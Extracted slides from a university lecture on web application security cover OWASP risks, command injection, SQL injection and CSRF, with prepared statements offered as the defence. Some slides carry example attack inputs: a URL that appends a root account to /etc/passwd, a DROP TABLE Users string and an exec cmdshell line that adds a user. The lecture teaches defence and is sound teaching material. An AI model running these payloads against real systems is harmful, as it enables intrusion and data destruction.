1.Web Application Security John Mitchell CS 155 Spring 2018

2.Lecture outline Introduction Command injection Three main vulnerabilities and defenses SQL injection ( SQLi ) Cross-site request forgery (CSRF) Cross-site scripting (XSS) Additional web security measures Automated tools: black box testing Programmer knowledge and language choices

3.Wordpress vulnerabilities (2017)

4.Command Injection Background for SQL Injection

5.OWASP Top Ten (2013/17) A-1 Injection Untrusted data is sent to an interpreter as part of a command or query. A-2 Authentication and Session Management Attacks passwords, keys, or session tokens, or exploit other implementation flaws to assume other users’ identities. A-3 Cross-site scripting An application takes untrusted data and sends it to a web browser without proper validation or escaping … Various implementation problems … expose a file, directory, or database key without access control check, …misconfiguration, …missing function-level access control A-8 Cross-site request forgery A logged-on victim’s browser sends a forged HTTP request, including the victim’s session cookie and other authentication information https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

6.OWASP Top Ten (2013/17) A-1 Injection Untrusted data is sent to an interpreter as part of a command or query. A-2 Authentication and Session Management Attacks passwords, keys, or session tokens, or exploit other implementation flaws to assume other users’ identities. A-3 Cross-site scripting An application takes untrusted data and sends it to a web browser without proper validation or escaping … Various implementation problems … expose a file, directory, or database key without access control check, …misconfiguration, …missing function-level access control A-8 Cross-site request forgery A logged-on victim’s browser sends a forged HTTP request, including the victim’s session cookie and other authentication information Attacker Victim https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

7.OWASP Top Ten (2013/17) A-1 Injection Untrusted data is sent to an interpreter as part of a command or query. A-2 Authentication and Session Management Attacks passwords, keys, or session tokens, or exploit other implementation flaws to assume other users’ identities. A-3 Cross-site scripting An application takes untrusted data and sends it to a web browser without proper validation or escaping … Various implementation problems … expose a file, directory, or database key without access control check, …misconfiguration, …missing function-level access control A-8 Cross-site request forgery A logged-on victim’s browser sends a forged HTTP request, including the victim’s session cookie and other authentication information Attacker Victim https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

8.Code injection using system() Example: PHP server-side code for sending email Attacker can post OR $email = $_POST[“email”] $subject = $_POST[“subject”] system(“mail $email –s $subject < / tmp / joinmynetwork ”) http://yourdomain.com/mail.php? email=hacker@hackerhome.net & subject= foo < / usr / passwd ; ls http://yourdomain.com/mail.php? email= hacker@hackerhome.net&subject = foo ; echo “evil::0:0:root:/:/bin/ sh ">>/etc/ passwd ; ls

9.Code injection using system() Example: PHP server-side code for sending email Attacker can post OR $email = $_POST[“email”] $subject = $_POST[“subject”] system(“mail $email –s $subject < / tmp / joinmynetwork ”) http://yourdomain.com/mail.php? email=hacker@hackerhome.net & subject= foo < / usr / passwd ; ls http://yourdomain.com/mail.php? email= hacker@hackerhome.net&subject = foo ; echo “evil::0:0:root:/:/bin/ sh ">>/etc/ passwd ; ls

10.SQL Injection

11.Three vulnerabilities we will discuss SQL Injection Browser sends malicious input to server Bad input checking fails to block malicious SQL CSRF – Cross-site request forgery Bad web site forges browser request to good web site, using credentials of an innocent victim XSS – Cross-site scripting Bad web site sends innocent victim a script that steals information from an honest web site

12.Three vulnerabilities we will discuss SQL Injection Browser sends malicious input to server Bad input checking fails to block malicious SQL CSRF – Cross-site request forgery Bad web site forges browser request to good web site, using credentials of an innocent victim XSS – Cross-site scripting Bad web site sends innocent victim a script that steals information from an honest web site Attacker Victim

13.Three vulnerabilities we will discuss SQL Injection Browser sends malicious input to server Bad input checking leads to malicious SQL query CSRF – Cross-site request forgery Bad web site sends request to good web site, using credentials of an innocent victim who “visits” site XSS – Cross-site scripting Bad web site sends innocent victim a script that steals information from an honest web site Inject malicious script into trusted context Leverage user’s session at victim sever Uses SQL to change meaning of database command

14.Database queries with PHP Sample PHP Problem What if ‘recipient’ is malicious string that changes the meaning of the query? (the wrong way) $recipient = $_POST[‘recipient’]; $ sql = "SELECT PersonID FROM Person WHERE Username="; $ rs = $ db -> executeQuery ($ sql );

15.Basic picture: SQL Injection 15 Victim Server Victim SQL DB Attacker post malicious form unintended SQL query receive valuable data 1 2 3

16.16 CardSystems Attack CardSystems credit card payment processing company SQL injection attack in June 2005 put company out of business The Attack 263,000 credit cards stolen from database credit cards stored unencrypted 43 million credit cards exposed

17.16 CardSystems Attack CardSystems credit card payment processing company SQL injection attack in June 2005 put company out of business The Attack 263,000 credit cards stolen from database credit cards stored unencrypted 43 million credit cards exposed

18.Web Server Web Browser (Client) DB Enter Username & Password SELECT * FROM Users WHERE user= me AND pwd = 1234 Normal Query

19.Web Server Web Browser (Client) DB Enter Username & Password SELECT * FROM Users WHERE user= me AND pwd = 1234 Normal Query

20.20 Even worse Suppose user = “ ′ ; DROP TABLE Users -- ” Then script does: ok = execute( SELECT … WHERE user= ′ ′ ; DROP TABLE Users … ) Deletes user table Similarly: attacker can add users, reset pwds , etc.

21.21 Even worse … Suppose user = ′ ; exec cmdshell ′ net user badguy badpwd ′ / ADD -- Then script does: ok = execute( SELECT … WHERE username= ′ ′ ; exec … ) If SQL server context runs as “ sa ”, attacker gets account on DB server

22.22 0x 5c  \ 0x bf 27  ¿′ 0x bf 5c  PHP addslashes () PHP: addslashes ( “ ’ or 1 = 1 -- ” ) outputs: “ \’ or 1=1 -- ” Unicode attack: (GBK) $user = 0x bf 27 addslashes ($user)  0x bf 5c 27  Correct implementation: mysql_real_escape_string () ′

23.Preventing SQL Injection Never build SQL commands yourself ! Use parameterized/prepared SQL Use ORM framework

24.24 Parameterized/prepared SQL Builds SQL queries by properly escaping args : ′  \′ Example: Parameterized SQL: (ASP.NET 1.1) Ensures SQL arguments are properly escaped. SqlCommand cmd = new SqlCommand ( "SELECT * FROM UserTable WHERE username = @User AND password = @ Pwd ", dbConnection ); cmd.Parameters.Add (" @User ", Request[“user”] ); cmd.Parameters.Add (" @ Pwd ", Request[“ pwd ”] ); cmd.ExecuteReader (); In PHP: bound parameters -- similar function

25.SQLi summary SQL injection remains a prevalent problem Example: Wordpress vulnerability in 2017! There is a reliable practical solution Parameterized/prepared SQL Prevents input from changing the way an SQL command is parsed; semantics do not change! This solution is difficult to apply to a legacy site Must rewrite a substantial amount of code As a result, many sites derived from older code base contain ad hoc defenses against particular SQLi attacks, are even harder to understand and debug than vulnerable sites we started with

26.Cross Site Request Forgery

27.CSRF outline Recall: session management and trust relationship Basic CSRF: attack site uses login cookie CSRF defenses based on stronger session management Secret token embedded in page Referer validation (better: origin header) Custom headers Alternate forms of CSRF Home router: trust relationship based on network Login CSRF

28.OWASP Top Ten (2013) A-1 Injection Untrusted data is sent to an interpreter as part of a command or query. A-2 Authentication and Session Management Attacks passwords, keys, or session tokens, or exploit other implementation flaws to assume other users’ identities. A-3 Cross-site scripting An application takes untrusted data and sends it to a web browser without proper validation or escaping … Various implementation problems … expose a file, directory, or database key without access control check, …misconfiguration, …missing function-level access control A-8 Cross-site request forgery A logged-on victim’s browser sends a forged HTTP request, including the victim’s session cookie and other authentication information https://www.owasp.org/index.php/Top_10_2013-Top_10

29.OWASP Top Ten (2017) A8-Cross-Site Request Forgery (CSRF), as many frameworks include CSRF defenses, it was found in only 5% of applications. https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project